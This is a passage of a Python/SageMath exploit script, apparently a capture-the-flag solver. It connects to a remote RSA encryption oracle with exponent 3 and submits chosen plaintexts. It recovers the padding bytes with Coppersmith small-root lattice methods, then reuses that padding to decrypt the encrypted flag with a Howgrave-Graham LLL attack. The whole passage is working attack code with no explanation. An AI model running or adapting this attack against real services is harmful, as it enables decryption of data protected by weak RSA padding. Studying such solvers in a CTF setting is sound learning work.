    hexstr = rest.split()[-1]
    n = int(hexstr, 16)
    if VERBOSE: log(f"received n (hex len={len(hexstr)}): {hexstr[:16]}...")
    return n

def menu_send_choice(r, ch: int):
    r.recvuntil(b"1) Test Encrypt")
    r.recvuntil(b">>> ")
    r.sendline(str(ch).encode())

def test_encrypt(r, msg_bytes: bytes) -> int:
    menu_send_choice(r, 1)
    r.recvuntil(b"Plaintext to encrypt? >>> ")
    r.send(msg_bytes + b"\n")
    r.recvuntil(b"Ciphertext:")
    ct_hex = r.recvline().strip().decode()
    ct = int(ct_hex, 16)
    if VERBOSE: log(f"  TestEncrypt: msg_len={len(msg_bytes)}, ct_hex_len={len(ct_hex)}")
    return ct

def flag_encrypt(r) -> int:
    menu_send_choice(r, 2)
    r.recvuntil(b"Ciphertext:")
    ct_hex = r.recvline().strip().decode()
    ct = int(ct_hex, 16)
    if VERBOSE: log(f"  FlagEncrypt: ct_hex_len={len(ct_hex)}")
    return ct

def klen_from_n(n: int) -> int:
    return (n.bit_length() + 7) // 8

# ----------------- timeouts -----------------
class TimeoutExc(Exception): pass
def _alarm_handler(signum, frame): raise TimeoutExc()

# ----------------- PS recovery (stable) -----------------
def small_root_univariate_e3_monic(n: int, A: int, B: int, c: int, Xbound: int, timeout_sec=SMALLROOTS_TIMEOUT):
    R = Zmod(n)['x']; x = R.gen()
    f = (A + B*x)**E - c
    Be = pow(B, E, n)
    try:
        Be_inv = inverse_mod(Be, n)
    except ZeroDivisionError:
        return None
    g = Be_inv * f  # monic

    tried = [None, 0.01, 0.02, 0.05]
    old = signal.getsignal(signal.SIGALRM)
    signal.signal(signal.SIGALRM, _alarm_handler)
    try:
        for eps in tried:
            try:
                signal.alarm(timeout_sec)
                roots = g.small_roots(X=Xbound, beta=1) if eps is None else g.small_roots(X=Xbound, beta=1, epsilon=eps)
                signal.alarm(0)
                if roots:
                    X = int(roots[0])
                    M = (A + B*X) % n
                    if pow(M, E, n) == c:
                        return X
            except TimeoutExc:
                signal.alarm(0)
                return None
            except Exception:
                signal.alarm(0)
                continue
        return None
    finally:
        signal.signal(signal.SIGALRM, old)

def recover_ps_from_ct(n: int, ct: int, msg: bytes) -> bytes:
    k = klen_from_n(n)
    ell = k - 3 - len(msg)              # expect 25
    if ell <= 0:
        raise ValueError("Message too long")
    B = Integer(256) ** (len(msg) + 1)
    A = Integer(2) * (Integer(256) ** (k - 2)) + Integer(int.from_bytes(msg, "big"))
    Xb = Integer(256) ** ell
    if VERBOSE: log(f"  recover_ps: k={k}, ell={ell}, Xbound=256^{ell}")

    X = small_root_univariate_e3_monic(n, A, B, ct, Xb)
    if X is None:
        raise RuntimeError("small_roots failed or timed out")
    ps = Integer(X).to_bytes(ell, 'big')

    if 0 in ps:
        EM = (A + B*X) % n
        if pow(EM, E, n) != ct:
            raise RuntimeError("Recovered PS invalid")
        raise RuntimeError("Recovered PS contains 0x00")
    return bytes(ps)

# --------- Correct HG/Coppersmith (column scaling + mod N^m reduction) ---------
def hg_build_matrix(fZ, N, X, m, t):
    """
    fZ ∈ ZZ[x] (monic, deg=d=3). Build integer lattice with:
      S1 = { N^{m-1-i} * x^j * fZ(x)^i : i=0..m-1, j=0..(d*m-1) }
      S2 = { x^k * fZ(x)^m : k=0..t-1 }
    Columns k are scaled by X^k; coefficients reduced modulo N^m into [-N^m/2, N^m/2].
    """
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    d = fZ.degree()
    mod = Integer(N)**m

    polys = []
    # part A
    for i in range(m):
        gi = fZ**i
        powN = Integer(N)**(m-1-i)
        for j in range(d*m):   # fatter basis than d-1
            polys.append((x**j) * gi * powN)
    # part B
    gm = fZ**m
    for k in range(t):
        polys.append((x**k) * gm)

    deg_max = max(p.degree() for p in polys)
    nrows = len(polys)
    ncols = deg_max + 1

    M = Matrix(ZZ, nrows, ncols)
    for r, p in enumerate(polys):
        for deg, coeff in p.dict().items():
            # reduce modulo N^m to keep entries small
            c = Integer(coeff) % mod
            if c > mod//2:
                c -= mod
            # column scaling by X^deg
            M[r, deg] = c * (Integer(X) ** deg)

    return M, deg_max, polys

def hg_solve_univariate(fZ, N, X, m=4, t=3, timeout_sec=LLL_TIMEOUT):
    """
    Return small root r (0 <= r < X) with fZ(r) ≡ 0 (mod N), or None.
    """
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    M, deg_max, polys = hg_build_matrix(fZ, Integer(N), Integer(X), m, t)

    # LLL with timeout
    old = signal.getsignal(signal.SIGALRM)
    signal.signal(signal.SIGALRM, _alarm_handler)
    try:
        if VERBOSE: log(f"    LLL: rows={M.nrows()}, cols={M.ncols()}, m={m}, t={t}, start")
        signal.alarm(timeout_sec)
        Mred = M.LLL()
        signal.alarm(0)
        if VERBOSE: log("    LLL: done")
    except TimeoutExc:
        signal.alarm(0)
        if VERBOSE: log(f"    LLL: TIMEOUT after {timeout_sec}s")
        return None
    finally:
        signal.signal(signal.SIGALRM, old)

    # reconstruct candidate polys by unscaling columns
    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    cand = []
    for r in range(min(24, Mred.nrows())):
        row = list(Mred.row(r))
        q = R(0)
        ok = True
        for k, c in enumerate(row):
            if c == 0: continue
            # unscale
            v = QQ(c) / (Integer(X) ** k)
            # snap to ZZ
            if not v in ZZ:
                v = ZZ(v.round())
            q += ZZ(v) * x**k
        cand.append(q)

    # gcd with fZ first
    for q in cand:
        h = q.gcd(fZ)
        if h.degree() == 1:
            a = h[1]; b = h[0]
            if a != 0:
                r = int((-b)//a)
                if 0 <= r < X and (fZ(r) % N) == 0:
                    return r

    # resultants: Res(q, fZ) should vanish at r
    for q in cand:
        try:
            res = q.resultant(fZ)
        except Exception:
            continue
        # if resultant is small / zero modulo N, probe small integer roots
        if res == 0 or (res % N) == 0:
            # Try integer roots of q
            try:
                for rr, _ in q.roots(ZZ):
                    r = int(rr)
                    if 0 <= r < X and (fZ(r) % N) == 0:
                        return r
            except Exception:
                pass

    # light exhaustive over first few rows’ integer roots (deg up to ~m*d)
    for q in cand[:10]:
        if q.degree() <= 10:
            try:
                for rr, _ in q.roots(ZZ):
                    r = int(rr)
                    if 0 <= r < X and (fZ(r) % N) == 0:
                        return r
            except Exception:
                pass
    return None

def recover_flag_with_ps_hg(n: int, cflag: int, ps_flag: bytes) -> bytes:
    """
    Known PS_flag (93B):
      c = (A + m)^3 mod n,  m < 256^32
      A = 2*256^(k-2) + PS_flag*256^33
    Solve for m using correct HG lattice (column scaling + mod N^m reduction).
    """
    k = klen_from_n(n)
    if len(ps_flag) != 93:
        raise ValueError(f"ps_flag length must be 93, got {len(ps_flag)}")
    B0 = Integer(256) ** 33
    A = Integer(2) * (Integer(256) ** (k - 2)) + Integer(int.from_bytes(ps_flag, 'big')) * B0
    X = Integer(256) ** 32

    R = PolynomialRing(ZZ, 'x'); x = R.gen()
    fZ = (A + x)**E - Integer(cflag)     # monic deg=3

    log("solve flag (HG): build lattice (col-scale, mod N^m) and search small root")
    # These few (m,t) are enough for d=3 and X < N^(1/3)
    for (m_param, t_param) in [(3,3), (4,3), (5,3), (6,2)]:
        log(f"  HG try: m={m_param}, t={t_param}, timeout={LLL_TIMEOUT}s")
        r = hg_solve_univariate(fZ, Integer(n), X, m=m_param, t=t_param, timeout_sec=LLL_TIMEOUT)
        if r is not None:
            log("solve flag (HG): success")
            return Integer(r).to_bytes(32, 'big')
        else:
            log("  HG try failed; trying next params")
    raise RuntimeError("HG (column scaling) failed to recover flag")

# ----------------- sessions -----------------
def collect_ps_prefix_conn(host, port, tests=TESTS_PER_CONN, msg_len=MSG_LEN):
    r = None
    try:
        log(f"connect A (collect PS) → {host}:{port}")
        r = remote(host, port)
        n = recv_n(r)
        k = klen_from_n(n)
        log(f"Session A: n_bits={n.bit_length()}, k={k}, will do {tests} tests with msg_len={msg_len} (PS={k-3-msg_len})")

        prefix_parts = []
        for i in range(tests):
            msg = b"A" * msg_len
            log(f" Test #{i+1}: msg_len={len(msg)}")
            ct = test_encrypt(r, msg)
            ps = recover_ps_from_ct(n, ct, msg)
            prefix_parts.append(ps)

        prefix = b"".join(prefix_parts)
        log(f"PS prefix collected: {len(prefix)} bytes (expect {(k-3-msg_len)*tests})")
        return n, prefix
    finally:
        if r is not None:
            try:
                r.close(); log("closed connection A")
            except Exception:
                pass

def get_flag_once(host, port):
    r = None
    try:
        log(f"connect B (get FLAG) → {host}:{port}")
        r = remote(host, port)
        n = recv_n(r)
        k = klen_from_n(n)
        log(f"Session B: n_bits={n.bit_length()}, k={k}")
        c = flag_encrypt(r)
        return n, c
    finally:
        if r is not None:
            try:
                r.close(); log("closed connection B")
            except Exception:
                pass

# ----------------- main -----------------
def main():
    if len(sys.argv) < 3:
        print(f"Usage: sage {sys.argv[0]} HOST PORT")
        sys.exit(1)
    host = sys.argv[1]
    port = int(sys.argv[2])

    attempt, total_conns = 0, 0
    while True:
        attempt += 1
        log(f"=== Attempt {attempt} (PS via small_roots; Flag via HG with column scaling) ===")

        try:
            n1, ps_prefix = collect_ps_prefix_conn(host, port, tests=TESTS_PER_CONN, msg_len=MSG_LEN)
            total_conns += 1
        except Exception as e:
            log(f"collect PS failed: {e}")
            continue
        if len(ps_prefix) < 93:
            log(f"internal error: collected {len(ps_prefix)} < 93 bytes")
            continue
        ps_flag = ps_prefix[:93]

        try:
            n2, cflag = get_flag_once(host, port)
            total_conns += 1
        except Exception as e:
            log(f"get flag failed: {e}")
            continue

        if n1 != n2:
            log("modulus mismatch between sessions (n1 != n2) → retry attempt")
            continue

        try:
            flag = recover_flag_with_ps_hg(n1, cflag, ps_flag)
            print("\nFLAG (raw):", flag)
            try:
                print("FLAG (utf-8):", flag.decode())
            except Exception:
                pass
            log(f"Done. total_connections_used={total_conns}")
            break
        except Exception as e:
            log(f"solve flag failed: {e}")
            continue

if __name__ == "__main__":
    main()